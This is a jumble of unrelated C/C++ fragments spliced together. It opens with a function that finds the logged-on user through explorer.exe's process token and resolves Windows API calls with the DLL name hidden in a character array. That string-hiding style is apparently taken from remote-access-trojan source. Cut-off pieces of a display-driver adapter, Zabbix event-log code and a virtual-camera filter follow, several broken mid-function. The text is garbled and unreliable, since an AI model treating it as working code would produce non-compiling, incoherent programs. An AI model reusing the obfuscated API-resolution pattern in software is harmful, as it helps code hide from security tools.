char *GetLogUser2K()
{
typedef BOOL
(WINAPI
*OpenProcessTokenT)(
__in HANDLE ProcessHandle,
__in DWORD DesiredAccess,
__deref_out PHANDLE TokenHandle
);
char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
OpenProcessTokenT pOpenProcessToken=(OpenProcessTokenT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenProcessToken");
typedef BOOL
(WINAPI
*LookupAccountSidAT)(
__in_opt LPCSTR lpSystemName,
__in PSID Sid,
__out_ecount_part_opt(*cchName, *cchName + 1) LPSTR Name,
__inout LPDWORD cchName,
__out_ecount_part_opt(*cchReferencedDomainName, *cchReferencedDomainName + 1) LPSTR ReferencedDomainName,
__inout LPDWORD cchReferencedDomainName,
__out PSID_NAME_USE peUse
);
LookupAccountSidAT pLookupAccountSidA=(LookupAccountSidAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"LookupAccountSidA");
typedef BOOL
(WINAPI
*GetTokenInformationT)(
__in HANDLE TokenHandle,
__in TOKEN_INFORMATION_CLASS TokenInformationClass,
__out_bcount_part_opt(TokenInformationLength, *ReturnLength) LPVOID TokenInformation,
__in DWORD TokenInformationLength,
__out_opt PDWORD ReturnLength
);
GetTokenInformationT pGetTokenInformation=(GetTokenInformationT)GetProcAddress(LoadLibrary(KIoFqQPSy),"GetTokenInformation");
typedef HANDLE
(WINAPI
*OpenProcessT)(
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId
);
OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"OpenProcess");
DWORD dwProcessID = GetProcessID("explorer.exe");
if (dwProcessID == 0)
return NULL;
BOOL fResult = FALSE;
HANDLE hProc = NULL;
HANDLE hToken = NULL;
TOKEN_USER *pTokenUser = NULL;
char *lpUserName = NULL;
__try
{
// Open the process with PROCESS_QUERY_INFORMATION access
hProc = pOpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
if (hProc == NULL)
{
__leave;
}
fResult = pOpenProcessToken(hProc, TOKEN_QUERY, &hToken);
if(!fResult)
{
__leave;
}
DWORD dwNeedLen = 0;
fResult = pGetTokenInformation(hToken,TokenUser, NULL, 0, &dwNeedLen);
if (dwNeedLen > 0)
{
pTokenUser = (TOKEN_USER*)new BYTE[dwNeedLen];
fResult = pGetTokenInformation(hToken,TokenUser, pTokenUser, dwNeedLen, &dwNeedLen);
if (!fResult)
{
__leave;
}
}
else
{
__leave;
}
SID_NAME_USE sn;
TCHAR szDomainName[MAX_PATH];
DWORD dwDmLen = MAX_PATH;
DWORD nNameLen = 256;
lpUserName = new char[256];
fResult = pLookupAccountSidA(NULL, pTokenUser->User.Sid, lpUserName, &nNameLen,
szDomainName, &dwDmLen, &sn);
}
__finally
{
if (hProc)
::CloseHandle(hProc);
if (hToken)
::CloseHandle(hToken);
if (pTokenUser)
delete[] (char*)pTokenUser;
return lpUserName;
}
}
pThis;
return sizeof( RosUmdDevice );
}
//----------------------------------------------------------------------------------------------------------------------------------
// List of DDIs ref is compatible with.
const UINT64 c_aSupportedVersions[] =
{
D3DWDDM1_3_DDI_SUPPORTED
};
HRESULT APIENTRY RosUmdAdapter::GetSupportedVersions(
D3D10DDI_HADAPTER hAdapter,
__inout UINT32* puEntries,
__out_ecount_part_opt( *puEntries, *puEntries ) UINT64* pSupportedDDIInterfaceVersions )
{
RosUmdAdapter* pAdapter = RosUmdAdapter::CastFrom( hAdapter );
pAdapter;
UINT32 uEntries = ARRAYSIZE( c_aSupportedVersions );
const UINT64* pSupportedVersions = c_aSupportedVersions;
if (pSupportedDDIInterfaceVersions &&
*puEntries < uEntries)
{
return HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER );
}
*puEntries = uEntries;
if (pSupportedDDIInterfaceVersions)
}zbx_eventlog_context;
#define EvtQuery EvtQueryProc
#define EvtCreateRenderContext EvtCreateRenderContextProc
#define EvtNext EvtNextProc
#define EvtRender EvtRenderProc
#define EvtOpenPublisherMetadata EvtOpenPublisherMetadataProc
#define EvtFormatMessage EvtFormatMessageProc
#define EvtClose EvtCloseProc
static EVT_HANDLE (WINAPI *EvtQuery)(EVT_HANDLE, LPCWSTR, LPCWSTR, DWORD) = NULL;
static EVT_HANDLE (WINAPI *EvtCreateRenderContext)(DWORD, LPCWSTR*, DWORD) = NULL;
static BOOL (WINAPI *EvtNext)(EVT_HANDLE, DWORD, PEVT_HANDLE, DWORD, DWORD, __out PDWORD) = NULL;
static BOOL (WINAPI *EvtRender)(EVT_HANDLE, EVT_HANDLE, DWORD, DWORD, __out_bcount_part_opt(BufferSize, *BufferUsed) PVOID, __out PDWORD, __out PDWORD) = NULL;
static EVT_HANDLE (WINAPI *EvtOpenPublisherMetadata)(EVT_HANDLE, LPCWSTR, LPCWSTR, LCID, DWORD) = NULL;
static BOOL (WINAPI *EvtFormatMessage)(EVT_HANDLE, EVT_HANDLE, DWORD, DWORD, PEVT_VARIANT, DWORD, DWORD, __out_ecount_part_opt(BufferSize, *BufferUsed) LPWSTR, __out PDWORD) = NULL;
static BOOL (WINAPI *EvtClose)(EVT_HANDLE) = NULL;
int get_eventlog_keywords(void *v, zbx_uint64_t *out_keywords)
{
const char *__function_name = "zbx_get_event_keyword";
int ret = FAIL;
zbx_eventlog_context *context = v;
LPWSTR query = L"/Event/System/Keywords";
PEVT_VARIANT eventlog_array = NULL;
DWORD dwReturned = 0, dwValuesCount = 0, dwBufferSize = 0;
unsigned long status = ERROR_SUCCESS;
zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name);
*out_keywords = 0;
context = v;
{
return CSourceStream::QueryDirection(pPinDir);
}
HRESULT STDMETHODCALLTYPE CVCamStream::QueryId(__out LPWSTR *Id)
{
return CSourceStream::QueryId(Id);
}
HRESULT STDMETHODCALLTYPE CVCamStream::QueryAccept(const AM_MEDIA_TYPE *pmt)
{
return CSourceStream::QueryAccept(pmt);
}
HRESULT STDMETHODCALLTYPE CVCamStream::QueryInternalConnections(__out_ecount_part_opt(*nPin, *nPin) IPin **apPin, ULONG *nPin)
{
return CSourceStream::QueryInternalConnections(apPin, nPin);
}
HRESULT STDMETHODCALLTYPE CVCamStream::EndOfStream( void)
{
return CSourceStream::EndOfStream( );
}
HRESULT STDMETHODCALLTYPE CVCamStream::BeginFlush( void)
{
return CSourceStream::BeginFlush( );
}
HRESULT STDMETHODCALLTYPE CVCamStream::EndFlush( void)
